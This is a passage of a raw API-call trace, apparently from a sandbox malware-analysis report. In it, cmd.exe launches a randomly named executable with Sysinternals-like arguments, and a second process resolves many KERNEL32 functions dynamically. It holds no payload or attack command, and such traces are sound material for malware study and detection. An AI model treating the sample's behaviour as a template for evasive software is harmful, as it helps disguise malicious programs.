returned -14 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0104.283] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0104.284] GetProcessHeap () returned 0x6c0000 [0104.284] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x210) returned 0x6d2490 [0104.284] GetProcessHeap () returned 0x6c0000 [0104.284] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x74) returned 0x6d8fb8 [0104.284] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0104.284] GetProcessHeap () returned 0x6c0000 [0104.284] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x418) returned 0x6d26a8 [0104.284] SetErrorMode (uMode=0x0) returned 0x0 [0104.284] SetErrorMode (uMode=0x1) returned 0x0 [0104.284] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6d26b0, lpFilePart=0x3bf268 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3bf268*="Desktop") returned 0x25 [0104.284] SetErrorMode (uMode=0x0) returned 0x1 [0104.285] GetProcessHeap () returned 0x6c0000 [0104.285] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d26a8, Size=0x6e) returned 0x6d26a8 [0104.285] GetProcessHeap () returned 0x6c0000 [0104.285] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d26a8) returned 0x6e [0104.285] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0104.285] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0104.285] GetProcessHeap () returned 0x6c0000 [0104.285] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x120) returned 0x6d2720 [0104.285] GetProcessHeap () returned 0x6c0000 [0104.285] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x238) returned 0x6d2848 [0104.387] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d2848, Size=0x122) returned 0x6d2848 [0104.387] GetProcessHeap () returned 0x6c0000 [0104.387] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d2848) returned 0x122 [0104.387] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0104.387] GetProcessHeap () returned 0x6c0000 [0104.387] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xe0) returned 0x6d2978 [0104.387] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d2978, Size=0x76) returned 0x6d2978 [0104.387] GetProcessHeap () returned 0x6c0000 [0104.387] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d2978) returned 0x76 [0104.389] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.389] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x3bf004, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf004) returned 0x6d29f8 [0104.389] GetProcessHeap () returned 0x6c0000 [0104.389] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6d2a38 [0104.389] FindClose (in: hFindFile=0x6d29f8 | out: hFindFile=0x6d29f8) returned 1 [0104.389] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0104.390] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0104.390] GetConsoleTitleW (in: lpConsoleTitle=0x3bf4dc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0104.390] InitializeProcThreadAttributeList (in: lpAttributeList=0x3bf364, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3bf42c | out: lpAttributeList=0x3bf364, lpSize=0x3bf42c) returned 1 [0104.390] UpdateProcThreadAttribute (in: lpAttributeList=0x3bf364, dwFlags=0x0, Attribute=0x60001, lpValue=0x3bf424, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3bf364, lpPreviousValue=0x0) returned 1 [0104.390] GetStartupInfoW (in: lpStartupInfo=0x3bf320 | out: lpStartupInfo=0x3bf320*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0104.390] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x18) returned 0x6d29f8 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="FN=\"Dot", _MaxCount=0x7) returned -3 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0104.390] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0104.391] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0104.391] GetProcessHeap () returned 0x6c0000 [0104.391] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d29f8 | out: hHeap=0x6c0000) returned 1 [0104.391] GetProcessHeap () returned 0x6c0000 [0104.391] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xa) returned 0x6d00d0 [0104.391] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0104.393] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"Dotted_Line.jtp\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3bf3c0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"Dotted_Line.jtp\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3bf40c | out: lpCommandLine="bv6ncK8c.exe -accepteula \"Dotted_Line.jtp\" -nobanner", lpProcessInformation=0x3bf40c*(hProcess=0x78, hThread=0x74, dwProcessId=0xe94, dwThreadId=0xe98)) returned 1 [0104.404] CloseHandle (hObject=0x74) returned 1 [0104.404] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0104.404] GetProcessHeap () returned 0x6c0000 [0104.404] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d2d70 | out: hHeap=0x6c0000) returned 1 [0104.404] GetEnvironmentStringsW () returned 0x6d2c98* [0104.404] GetProcessHeap () returned 0x6c0000 [0104.404] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb86) returned 0x6daf20 [0104.404] FreeEnvironmentStringsW (penv=0x6d2c98) returned 1 [0104.404] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0105.777] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3bf300 | out: lpExitCode=0x3bf300*=0x1) returned 1 [0105.777] CloseHandle (hObject=0x78) returned 1 [0105.777] _vsnwprintf (in: _Buffer=0x3bf448, _BufferCount=0x13, _Format="%08X", _ArgList=0x3bf30c | out: _Buffer="00000001") returned 8 [0105.777] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0105.777] GetProcessHeap () returned 0x6c0000 [0105.777] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6daf20 | out: hHeap=0x6c0000) returned 1 [0105.777] GetEnvironmentStringsW () returned 0x6d2c98* [0105.777] GetProcessHeap () returned 0x6c0000 [0105.777] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb86) returned 0x6daf20 [0105.777] FreeEnvironmentStringsW (penv=0x6d2c98) returned 1 [0105.777] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0105.777] GetProcessHeap () returned 0x6c0000 [0105.777] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6daf20 | out: hHeap=0x6c0000) returned 1 [0105.778] GetEnvironmentStringsW () returned 0x6d2c98* [0105.778] GetProcessHeap () returned 0x6c0000 [0105.778] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb86) returned 0x6daf20 [0105.778] FreeEnvironmentStringsW (penv=0x6d2c98) returned 1 [0105.778] GetProcessHeap () returned 0x6c0000 [0105.778] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d00d0 | out: hHeap=0x6c0000) returned 1 [0105.778] DeleteProcThreadAttributeList (in: lpAttributeList=0x3bf364 | out: lpAttributeList=0x3bf364) [0105.778] _get_osfhandle (_FileHandle=1) returned 0x80 [0105.778] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0105.778] _get_osfhandle (_FileHandle=1) returned 0x80 [0105.778] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0105.778] _get_osfhandle (_FileHandle=0) returned 0x3 [0105.778] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0105.778] SetConsoleInputExeNameW () returned 0x1 [0105.778] GetConsoleOutputCP () returned 0x1b5 [0105.779] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0105.779] SetThreadUILanguage (LangId=0x0) returned 0x409 [0105.779] exit (_Code=1) Process: id = "193" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x791ef000" os_pid = "0xe94" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "192" os_parent_pid = "0xe88" cmd_line = "bv6ncK8c.exe -accepteula \"Dotted_Line.jtp\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 778 os_tid = 0xe98 [0104.941] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0104.941] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0104.941] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0104.941] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0104.941] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0104.941] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0104.941] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0104.941] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0105.175] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0105.175] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0105.175] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0105.175] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0105.175] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0105.175] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0105.175] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0105.176] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0105.177] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0105.178] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0105.179] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0105.180] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 